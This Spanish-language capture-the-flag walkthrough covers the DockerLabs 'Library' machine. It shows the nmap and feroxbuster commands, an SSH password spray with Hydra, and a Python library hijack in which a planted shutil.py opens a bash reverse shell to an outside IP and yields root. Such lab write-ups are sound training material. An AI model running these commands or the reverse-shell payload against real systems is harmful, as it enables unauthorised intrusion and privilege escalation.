Post

Library , DockerLabs

logodocker

En este reto de DockerLabs encontramos con escaneo de puertos para buscar una entrada al sistema , fuzzing de directorios , library path hijacking python.

Herramientas y recursos usados

  • nmap
  • Feroxbuster
  • Hydra
  • Python

Enumeracion

Empezamos lanzando un nmap contra el objetivo .

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -vvv 172.17.0.2 -oX library

Reporte nmap

Nos dice que tenemos el 22 y el 80 primero revisamos la web a ver que encontramos es la de default y no hay nada , mientras revisamos codigo lanzamos feroxbuster.

1
feroxbuster -t 400 -e -x php,txt,html,jpg,json,js -s 200 -u http://172.17.0.2

ferox

Como podemos ver nos muestra un index php y un direcotorio js. investigamos la web.

web

En index php nos tira un dato y la unica logica que veo es que sea una password y en los directorios no tenemos permisos de escritura.

Solo se me ocurre usar hydra y rockyou dado que tambien teniamos el 22 abierto.

1
 hydra -L ../../../rockyou.txt -p JIFGHDS87GYDFIGD ssh://172.17.0.2 -t 4

hydra

Infiltracion

Con las credenciales ya podemos probar por ssh con los datos que nos dio hydra.

carlos

Como siempre ni bien entramos comprobamos lo mas tipico , sudo , find ,script en directorios etc…. con sudo -l tenemos suerte

sudo

Vamos a revisar que hace ese script.

script

Como vemos llama a una libreia y esa es la parte que nos interesa.

Explotacion y escalada final.

Ahora que sabemos lo que hace y usa el script y conocemos como funciona el path, lo unico que tendremos que hacer sera trasladornos a un directorio donde tengamos permisos de escritura. Creamos un archivo con nombre shutil.py , añadimos esa ruta al PATH y ejecutaremos el script con sudo. El contenido del la libreria que creamos puede variar dependiendo del objetivo que queramos. Lo mas facil para mi seria mandarme una revshell o modificar los permisos de bash con chmod +x y luego ejecutando bash -p esto es a gusto.

Primero creo mi libreria.

1
2
3
import os

os.system("bash -c 'bash -i >& /dev/tcp/192.168.0.112/443 0>&1'")

Añadimos al PATH la ruta de la libreria nueva.

path

Y por ultimo ejecutamos.

exec

root

Hasta aqui la maquina.

Saludos y muchas gracias por leer, pueden comentar dudas o si la han resuleto de otra forma debatamos cual metodo es mas eficaz.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.